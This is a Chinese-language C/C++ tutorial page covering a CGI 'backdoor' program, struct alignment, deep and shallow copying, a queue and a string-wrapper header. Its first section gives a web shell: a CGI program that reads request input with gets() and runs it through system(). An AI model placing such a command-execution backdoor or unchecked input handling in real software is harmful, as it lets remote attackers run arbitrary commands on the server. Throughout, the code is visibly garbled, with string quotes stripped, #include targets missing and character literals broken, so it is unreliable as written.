程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> C++入門知識 >> [C/C++學院]0730-網站以及後門/結構體對齊、結構體面試分析/深拷貝與淺拷貝/隊列/字符串封裝

[C/C++學院]0730-網站以及後門/結構體對齊、結構體面試分析/深拷貝與淺拷貝/隊列/字符串封裝

編輯:C++入門知識

[C/C++學院]0730-網站以及後門/結構體對齊、結構體面試分析/深拷貝與淺拷貝/隊列/字符串封裝


??

網站以及後門

 

Windwos安裝Apache服務器軟件,進行測試。Localhost

 

將可執行程序xxx.exe改為xxx.cgi放到apache服務器上,通過浏覽器進行訪問。

 

#define   _CRT_SECURE_NO_WARNINGS
#include
#include
#include

void main()
{
	printf(Content-type:text/html

);
	printf(%s

,  getenv(QUERY_STRING));//打印環境變量
	char szPost[256] = {0};
	gets(szPost);//獲取輸入
	printf(%s

, szPost);//獲取輸入
	//BBB=tasklist&AAA=%C7%EB%BD%F8
	char *p = szPost + 4;//0,1,2,3
	char *p1 = strchr(szPost, '&');
	*p1 = '';

	char cmd[256] = { 0 };
	sprintf(cmd, %s >1.txt, p);//字符串映射
	system(cmd);
	FILE *pf = fopen(1.txt, r);
	while (!feof(pf))//如果沒有到文件末尾就繼續
	{
		char ch = fgetc(pf);
		if (ch == '
')
		{
			printf(

);//換行
		}
		else
		{
			putchar(ch);//打印字符
		}		
	}
}

 

 

結構體對齊、結構體面試分析

 

#include
#include

//最寬基本基本成員,char , int,double,結構體數組都不是最寬基本成員
//結構體大小必須可以整除最寬基本成員,是最寬基本成員的整數倍
//結構體成員地址減去結構體首地址,就是偏移量,偏移量必須可以整除成員的基本類型

struct info  
{
	char c;//1     2     4       8
	double  sh;//1    2     4    8
	char ch[9];//9 10    12      16

};
struct info1
{

	short sh1;    //8   4  //2
	int   sh;    //8    4  //4
	char ch[19];  //16  20 //19

};


void main2()
{
	struct info1  info11 = {10,200,123456};
	printf(%p
, &info11);
	printf(%p
, &info11.sh1);
	printf(%p
, &info11.sh);
	printf(%p
, &info11.ch);

	getchar();
}

void main1()
{
	
	printf(%d, sizeof(struct info1));


	system(pause);
}

 

 

深拷貝與淺拷貝

 

#define _CRT_SECURE_NO_WARNINGS
#include
#include
#include

struct string
{
	char *p;
	int length;
};

void main11()
{
	struct string str1;
	str1.length = 10;
	str1.p =(char *) malloc(sizeof(char)* 10);
	strcpy(str1.p, hello);
	printf(
str1.p=%s, str1.p);//輸出結果
	struct string str2;
	str2.length = str1.length;
	str2.p = str1.p;
	*(str1.p) = 'k';//淺拷貝,共享內存
	printf(
str2.p=%s, str2.p);//輸出結果
	system(pause);
}

void   main123()
{
	struct string str1;
	str1.length = 10;
	str1.p = (char *)malloc(sizeof(char)* 10);
	strcpy(str1.p, hello);
	printf(
str1.p=%s, str1.p);//輸出結果
	struct string str2;
	str2.length = str1.length;
	str2.p =(char *) malloc(sizeof(char)* 10);
	strcpy(str2.p, str1.p);//拷貝內存內容
	*(str1.p) = 'k'; //深拷貝是拷貝內存的內容,
	printf(
str2.p=%s, str2.p);//輸出結果
	system(pause);
}

 

 

隊列

//隊列.h

 

 

#include
#include

#define  N 100   //定義隊列最大多少個
#define  datatype char   //定義隊列的數據類型

struct queue
{
	datatype data[N];//保存數據的數組
	int front;//數據的開頭  ,拉屎
	int rear;//數據的結尾,吃進去
};
typedef struct queue Q;//給已經有的類型簡化一下

void  init(Q * myqueue);//初始化隊列
int  isempty(Q * myqueue);//判斷是否為空,1代表為空,0代表不為空

void  enQueue(Q * myqueue, datatype num);//入隊,吃進去
datatype DeQueue(Q * myqueue);//出隊,拉屎,返回值就是拉的
void  printfQ(Q * myqueue);//打印隊列所有的元素
datatype gethead(Q * myqueue);//獲取開頭的一個節點

 

 

//隊列.c

 

#include隊列.h

void  init(Q * myqueue)//初始化隊列
{
	myqueue->front = myqueue->rear = 0;//表示為空
}

int  isempty(Q * myqueue)//判斷為空
{
	if (myqueue->front == myqueue->rear)
	{
		return 1;
	}
	else
	{
		return 0;
	}
}

void  enQueue(Q * myqueue, datatype num)
{
	if (myqueue->rear == N)
	{
		printf(吃東西失敗);
		return ;//失敗
	}
	else
	{
		myqueue->data[myqueue->rear] = num;//賦值
		myqueue->rear += 1;//增加一個
	}
}

datatype DeQueue(Q * myqueue)   //拉屎的過程
{
	if (myqueue->front == myqueue->rear)
	{
		printf(拉屎失敗);
		return -1;
	}
	else
	{
		myqueue->front += 1;//拉屎
		return  myqueue->data[myqueue->front - 1];//返回你拉的
	}
}

void  printfQ(Q * myqueue)//打印隊列所有的元素
{
	printf(
);
	if (myqueue->front == myqueue->rear)
	{
		printf(
你的腸胃為空);
	}
	else
	{
		for (int i = myqueue->front; i < myqueue->rear;i++)
		{
			printf(%c  , myqueue->data[i]);//顯示你的腸胃
		}
	}
}

datatype gethead(Q * myqueue)
{	
	if (myqueue->front == myqueue->rear)
	{
		printf(
腸胃為空,無法找到你要最先拉的屎);
		return -1;
	}
	else
	{
		return myqueue->data[myqueue->front];//返回第一個節點
	}
}

 

 

//main.c

 

#include
#include
#include隊列.h


void main()
{
	Q Q1;//創建一個結構體變量
	init(&Q1);//初始化
	enQueue(&Q1, 'A');
	printfQ(&Q1);
	enQueue(&Q1, 'B');
	printfQ(&Q1);
	enQueue(&Q1, 'C');
	printfQ(&Q1);
	enQueue(&Q1, 'D');
	printfQ(&Q1);
	enQueue(&Q1, 'E');
	printfQ(&Q1);

	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	DeQueue(&Q1);
	printfQ(&Q1);
	
	system(pause);
}

 

 

 

 

字符串封裝

//字符串.h

 

 

#define  _CRT_SECURE_NO_WARNINGS
#include
#include
#include

//字符串封裝,需要庫函數
//不需要庫函數
struct CString
{
	char *p;//保存字符串首地址
	int reallength;//實際長度
};
typedef struct CString  mystring;//簡寫

//字符串,初始化,打印,
//查找,查找字符,查找字符串
//尾部增加,(字符,字符串)
//刪除(字符,字符串),
//任意位置增加(字符,字符串)

////修改字符串,(字符,字符串替換)
void init(mystring *string);//原封不動初始化
void initwithlength(mystring *string,int length);//開辟長度,內存清零
void initwithstring(mystring *string,char *copystring);//初始化並拷貝字符串
void printfstring(mystring *string); //打印
void backaddchar(mystring *string,char ch);//增加字符
void backaddstring(mystring *string,char*str);//增加字符串
void run(mystring *string);//執行指令
char * findfirstchar(mystring *string, char ch);//返回第一個找到的字符的地址
char * findfirststring(mystring *string, char *str);//返回第一個找到的字符串的地址
int deletefirstchar(mystring *string,const char ch);//刪除第一個找到的字符
int deletefirststring(mystring *string, char * const str);//刪除第一個找到的字符串
void addchar(mystring *string, char ch,char *pos);//任意增加字符
void addstring(mystring *string, char*str,char *pos);//任意增加字符串
void  changefirstchar(mystring *string, const char oldchar, const newchar);//改變字符
void changefirststring(mystring *string, char * const oldstring, char *const newstring);//改變字符串

 

 

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved